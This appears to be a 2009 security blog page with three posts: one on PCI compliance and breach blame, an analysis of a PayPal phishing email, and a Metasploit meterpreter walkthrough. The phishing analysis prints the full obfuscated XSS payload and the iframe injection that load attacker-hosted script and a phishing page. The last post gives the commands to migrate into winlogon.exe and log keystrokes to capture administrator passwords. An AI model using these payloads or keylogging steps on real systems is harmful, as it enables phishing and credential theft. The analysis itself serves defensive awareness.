Wednesday, March 25, 2009

Let's Get Ready to PCI Rumble!

I know this is going to sound kind of sad, but I am really excited to see what's going to happen with some of the latest PCI breaches and the organization's response. In the two the biggest, latest ones we see both Hannaford and Heartland stating their case that they were both PCI compliant. To the average person, the initial response is going to be something like, "Then the PCI DSS sucks!". However, a recent statement from a VISA exec was more along the lines of "We have yet to see a company that was breached that was compliant." So how do we judge this wrestling match?

First and foremost, we need to make a clear distinction about what it means to be PCI compliant. The position being taken by the the organizations above needs clarified. What they mean is that they had successfully completed their compliance validation activities. More specifically, that means they had their audit performed and submitted it along with the ASV scans. They met their due diligence obligation.

But now we need to reconcile that with the execs position. What he was talking about is more akin to PCI Safe Harbor. That states a company is 'safe' if they are fully compliant to the PCI DSS at the time of the breach and can be demonstrated during an audit with forensics. That, my friend, ain't easy. Compliance is something you will ultimately have to defend and is not the plaque or certificate on the wall for you did once a year.

So now we need to actually do some sort of prognostication here so you get my point. I don't have all the details for either breach, so I will make some assumptions. Let's assume both of them were breached due to malware on a system. I'll also assume they had anti-malware in place. What isn't an assumption is if it's possible to bypass malware. So I am going to assume is it did get bypassed. I am not sure if we'll know how the malware got there. Did that portion of PCI fail? Not at all. It's a good requirement and they did meet it. But PCI has many layers to it as all security programs should.

If I had to guess what will the final outcome is, it will be something like this. From what we know the big problem is that the data was breached i.e. it left their network. So just how did the data get into the hands of the the evildoers? I think that's the real question. Exactly what kind of firewall rules were in place that allowed the malware sniffers in place to send the traffic out of their network? Did the processor or the registers have direct access to the internet? I sure as heck hope not. If the attackers had some live connection into those systems, that's one thing. But I would suspect there is a lack of good egress filtering and not that the malware did some crazy cool method to bounce traffic out of their network. This kind of excessive egress would likely be caused by a lack of good process to reign in the poor rules adopted through "business justification". Personally, I think the business card trumps way too often as I have seen time and time again at clients.

So who is to blame here? I think an easy, but not necessarily correct, choice is the assessor. An auditor's job is to assure formalized, good processes and perform some testing as well. It may not be possible to audit every rule of every firewall. Even so, the auditor has to be pretty strong to push back when "business justification" has been established. It means possible rumbling with their client and their bank. But yes, the auditor may not have been thorough and some rubber stamping occurred here.

Well, only time will tell if I should quit security and become a psychic. Speaking of, my money is on the VISA exec to win the match. Even if I am wrong, there is some lessons learned here. In reality, there needs to be a strong, collaborative relationship between the auditor and the organization to both agree on a defensible position in gray or soft areas of the PCI DSS. I often say you need to imagine standing at the podium and feeling confident as you describe that position to reporters and the world. And never forget, compliance does not equal security. Business justification is not a loophole. Or if it is, a lot more can slip through that hole like malware and fines.

Read more!

Analysis of a Real World Phishing Scheme


I received a lot of positive feedback around my blog post “Analysis of a Real World Hacking Attempt” and decided that after a recent email attempting to direct me to a paypal phishing site, it again was time to give a little insight as to what the latest attempts on phishing schemes are out there...

The email that read something like this:

Information about your account:
Security Center

Attention! Your PayPal account was limited!

As part of our security measures, we regularly check the work of the screen PayPal. We have requested information from you for the following reason:

Our system has detected unusual charges to a credit card linked to your PayPal account.

Reference Number: PP-259-187-991

This is the last reminder to log into PayPal, as soon as possible. Once you connect. PayPal will provide measures to restore access to your account.

Once connected, follow the steps to activate your account. We appreciate your understanding as we work to ensure security.

Clik Here To Activate

We appreciate your attention to this issue. Please understand that this is a security measure designed to protect you and your account. We apologize for any inconvenience ..

Department review PayPal accounts
________________________________________
Copyright © 1999-2009 PayPal. All rights reserved.
PayPal FSA Register Number: 226056.

Yes, they actually misspelled “click” on the phishing link, as well as other typos such as a double period, etc.

The link’s target location was:
https://secure.instantssl.com/products/passwordResetRequest? orderNumber="><image src="" onerror= "javascript:document.write(String.fromCharCode(60,83 ,67,82,73,80,84,32,83,82,67,61,34 ,104,116,116,112,58,47,47,57,54,46 ,57,46,50,52,46,49,51,48,47,120 ,115,115,49,46,106,112,103,34,62,60 ,47,83,67,82,73,80,84,62))" />

This is a textbook XSS flaw, easily seen by
https://secure.instantssl.com/products/passwordResetRequest?orderNumber= " > [XSS HERE]

If you look at http://96.9.24.130/xss1.jpg it is actually an html file, not a jpg image file.

Its contents are:
<html>
<body>
<img src="http://96.9.24.130/xss1.jpg" alt="http://96.9.24.130/xss1.jpg"/>
</body>
</html>

Firefox even treats it as an image providing right click options over it such as “copy image” and “copy image location”, despite it being a script target in an image tag.

Tricky...and if you save it locally and open it, you can see that the xss1.jpg’s contents is:
document.write("<iframe src='http://transgalaxyproducts.com/bbnse/webscr/webscr.php?cmd=_login-run' width='100%' height='100%' frameborder=0 scrolling=0></iframe>");

Then http://transgalaxyproducts.com/bbnse/webscr/webscr.php?cmd=_login-run is actually the location of the Paypal phishing site...

That was the story as of March 3rd...

Today, March 24th, the code for the xss1.jpg image has changed as seen below:

C:\>nc 96.9.24.130 80
GET /xss1.jpg HTTP/1.0

HTTP/1.1 200 OK
Date: Wed, 25 Mar 2009 00:58:00 GMT
Server: Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_
auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Last-Modified: Sat, 07 Mar 2009 10:22:10 GMT
ETag: "6a00c7-8c-46484c62ad880"
Accept-Ranges: bytes
Content-Length: 140
Connection: close
Content-Type: image/jpeg

document.write("<iframe src='http://96.9.24.130/cls/ws-cgi/365236545.html' width
='100%' height='100%' frameborder=0 scrolling=0></iframe>");
C:\>

The page at http://96.9.24.130/cls/ws-cgi/365236545.html seems to be that of a Craigslist listing for a truck in Atlanta, but saved locally to the server. Odd, and I have no guesses as to why this would be there... your guess is as good as mine, but that’s the reality of the stuff that is going on and out there. Hopefully this gave a little insight as to some of the subtle tricks hackers are using to try to steal your information. The IP 96.9.24.130 is in a block owned by Register.com out of New York and has a HTTP banner of "Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635".

Why there is a mirror of a Craiglist page is beyond me, but that’s where I’ll leave you to wonder on your own...

Read more!

Tuesday, March 24, 2009

Password Sniffing the Metasploit Way

H.D. Moore continues to kick some major bum with some of his recent updates to the Metasploit Framework. Most notably is the keystroke logger addition to the meterpreter console. For those of you not aware of what meterpreter is, it's a payload that gets delivered to the system somehow (i.e. buffer overflow, executable, etc.) and is really a swiss army knife for post-exploitation. With the latest svn update you can migrate to an already existing process like winlogon.exe and capture all keystrokes for individuals logging into a system. Pretty sweet stuff. I got to play with it this afternoon and its extremely simple, once in the meterpreter console do the following:

meterpreter> ps

Process list
=================

PID Name Path

--- ---- ----
401 winlogon.exe \??C:\WINNT\system32\winlogon.exe

meterpreter> migrate 401

[*] Migrating to 401...
[*] Migration completed successfully.

meterpreter> keyscan_start
Starting the keystroke sniffer...

**** A few minutes later after an admin logs in ****

meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator ohnoes1vebeenh4x0red!

I.e. the ohnoes = password.

Of course this isn't just limited to the winlogon.exe, you can nail explorer.exe and intercept keystrokes from already logged in users.

More great stuff from the Metasploit framework, enjoy!

Read more!